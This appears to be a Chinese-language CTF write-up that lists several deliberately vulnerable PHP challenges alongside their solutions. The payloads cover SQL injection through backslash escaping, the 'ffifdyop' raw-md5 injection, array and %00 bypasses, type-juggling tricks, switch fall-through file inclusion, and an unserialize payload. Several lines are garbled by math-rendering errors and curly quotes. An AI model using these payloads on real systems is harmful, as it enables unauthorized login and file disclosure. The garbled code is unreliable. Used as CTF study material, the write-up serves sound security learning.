#GOAL: login as admin,then get the flag;
error_reporting(0);
require 'db.inc.php';
function clean($str){
if(get_magic_quotes_gpc()){
$str=stripslashes($str);
}
return htmlentities($str, ENT_QUOTES);
}
$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);
$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){
die('Invalid password!');
}
echo $flag;
?>
目标! r e s u l t ∣ ∣ m y s q l _ n u m _ r o w s ( result || mysql\_num\_rows( result∣∣mysql_num_rows(result) < 1为真,并没有对内容进行检测,不需要是admin也行
几个函数提一下:
语法
stripslashes(string)
例:echo stripslashes("Who\'s Bill Gates?");
运行结果:Who's Bill Gates?
echo stripslashes("Who\\'s Bill Gates?");
运行结果:Who's Bill Gates?
echo stripslashes("Who\\\'s Bill Gates?");
运行结果:Who\'s Bill Gates?
也就是说,参数可能被去掉\,但是单引号和双引号一定会被html实体化,所以参数不能有单引号和双引号,而现今版本的php,get_magic_quotes_gpc是被废掉的
php中查询语句:
SELECT * FROM users WHERE name=’’.KaTeX parse error: Can't use function '\'' in math mode at position 11: username.'\̲'̲ AND pass=\''.password.’’;
sql中也就是
SELECT * FROM users WHERE name=‘username’ AND pass=‘password’;
参数的单引号是拼接上去的,而我们输入单引号就会被html实体化(虽然在页面上显示的仍然是单引号)
payload:
?username=\&password= or 1%23
形成查询语句:SELECT * FROM users WHERE name=’\’ AND pass=’ or 1%23’
也就是PHP语句的name后面的单引号被转义
这样最后的单引号被注释了,因为有个单引号被转义,所以name就是’AND pass =,or 1之后就为true。
这个跟9重复了
error_reporting(0);
$flag = 'flag{test}';
if (isset($_GET['username']) and isset($_GET['password'])) {
if ($_GET['username'] == $_GET['password'])
print 'Your password can not be your username.';
else if (md5($_GET['username']) === md5($_GET['password']))
die('Flag: '.$flag);
else
print 'Invalid password';
}
?>
弱类型的话可以碰撞解决,因为md5处理数组返回Null,所以=使用数组绕过
payload:?username[]=1&password[]=2
$flag = "flag";
if (isset ($_GET['password'])) {
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
echo 'You password must be alphanumeric';
else if (strpos ($_GET['password'], '--') !== FALSE)
die('Flag: ' . $flag);
else
echo 'Invalid password';
}
?>
方法一:ereg和strops处理数组返回NULL绕过
payload:?password[]=
方法二:ereg的%00截断绕过
payload:?password=1%00–
error_reporting(0);
function noother_says_correct($temp)
{
$flag = 'flag{test}';
$one = ord('1'); //ord — 返回字符的 ASCII 码值
$nine = ord('9'); //ord — 返回字符的 ASCII 码值
$number = '3735929054';
// Check all the input characters!
for ($i = 0; $i < strlen($number); $i++)
{
// Disallow all the digits!
$digit = ord($temp{$i});
if ( ($digit >= $one) && ($digit <= $nine) )
{
// Aha, digit not allowed!
return "flase";
}
}
if($number == $temp)
return $flag;
}
$temp = $_GET['password'];
echo noother_says_correct($temp);
?>
16进制代替10进制
payload:?password=0xdeadc0de
error_reporting(0);
$flag = 'flag{test}';
if ("POST" == $_SERVER['REQUEST_METHOD'])
{
$password = $_POST['password'];
if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password)) //preg_match — 执行一个正则表达式匹配
{
echo 'Wrong Format';
exit;
}
while (TRUE)
{
$reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';
if (6 > preg_match_all($reg, $password, $arr))
break;
$c = 0;
$ps = array('punct', 'digit', 'upper', 'lower'); //[[:punct:]] 任何标点符号 [[:digit:]] 任何数字 [[:upper:]] 任何大写字母 [[:lower:]] 任何小写字母
foreach ($ps as $pt)
{
if (preg_match("/[[:$pt:]]+/", $password))
$c += 1;
}
if ($c < 3) break;
//>=3,必须包含四种类型三种与三种以上
if ("42" == $password) echo $flag;
else echo 'Wrong password';
exit;
}
}
?>
[[:punct:]] 任何标点符号 [[:digit:]] 任何数字 [[:upper:]] 任何大写字母 [[:lower:]] 任何小写字母
0 >= preg_match('/^[[:graph:]]{12,}$/', $password)
//意为必须是12个字符以上(非空格非TAB之外的内容)
$reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';
if (6 > preg_match_all($reg, $password, $arr))
//意为匹配到的次数要大于6次
$ps = array('punct', 'digit', 'upper', 'lower'); //[[:punct:]] 任何标点符号 [[:digit:]] 任何数字 [[:upper:]] 任何大写字母 [[:lower:]] 任何小写字母
foreach ($ps as $pt)
{
if (preg_match("/[[:$pt:]]+/", $password))
$c += 1;
}
if ($c < 3) break;
//意为必须要有大小写字母,数字,字符内容三种与三种以上
而且还要值为"42"
payload:
42.00e+00000000000
或
420.000000000e-1
error_reporting(0);
$flag = "flag{test}";
$temp = $_GET['password'];
is_numeric($temp)?die("no numeric"):NULL;
if($temp>1336){
echo $flag;
}
?>
方法一:%00绕过,如果password结尾或开头是%00,那么就不会被is_numeric检测为数字
payload:1337%00
(%001337不行。。。说好的前面或后面都行)
方法二:弱类型,payload:1337a
error_reporting(0);
$flag = 'flag{test}';
$temp = $_GET['password'];
if(md5($temp)==0){
echo $flag;
}
?>
方法一:md5处理数组返回null,弱类型的时候null==0
方法二:md5碰撞,开头为0的md5值进行碰撞
$password = $_GET['password'];
$sql = "SELECT * FROM users WHERE password = '".md5($password,true)."'";
var_dump($sql);
$result=mysql_query($sql) or die(''
. mysql_error() . '
' );
$row1 = mysql_fetch_row($result);
var_dump($row1);
$sql = “SELECT * FROM users WHERE password = '”.md5( p a s s w o r d , t r u e ) . " ′ " ; m d 5 ( password,true)."'"; md5( password,true)."′";md5(password,true)是得到16位原始二进制格式的字符串。
这样怎么构造绕过呢?
神奇方法来了
ffifdyop经过md5的true转化后是276f722736c95d99e921722cf9ed621c,再转换成字符串正好是’or’xxx(xxx是乱码),正好构造出语句SELECT * FROM admin WHERE pass = '‘or’xxx’,成功绕过
error_reporting(0);
if (isset($_GET['which']))
{
$which = $_GET['which'];
switch ($which)
{
case 0:
case 1:
case 2:
require_once $which.'.php';
echo $flag;
break;
default:
echo GWF_HTML::error('PHP-0817', 'Hacker NoNoNo!', false);
break;
}
}
?>
字符串如果前面不含数字,会被转换为0,所以case 0被执行,因为case 0没有break,所以一直会交到有break的地方才会终止,这个直接包含进来flag.php即可。
payload:?which=flag
<!-- 题目:http://web.jarvisoj.com:32768 -->
<!-- index.php -->
require_once('shield.php');
$x = new Shield();
isset($_GET['class']) && $g = $_GET['class'];
if (!empty($g)) {
$x = unserialize($g);
}
echo $x->readfile();
?>
<img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>
<!-- shield.php -->
//flag is in pctf.php
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
}
function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
?>
<!-- showimg.php -->
$f = $_GET['img'];
if (!empty($f)) {
$f = base64_decode($f);
if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE
//stripos — 查找字符串首次出现的位置(不区分大小写)
&& stripos($f,'pctf')===FALSE) {
readfile($f);
} else {
echo "File not found!";
}
}
?>
一个反序列化漏洞的简单模板吧,showimg.php没啥用。
反序列化之后filename是pctf.php即可
payload:?class=O:6:“Shield”:1:{s:4:“file”;s:8:“pctf.php”;}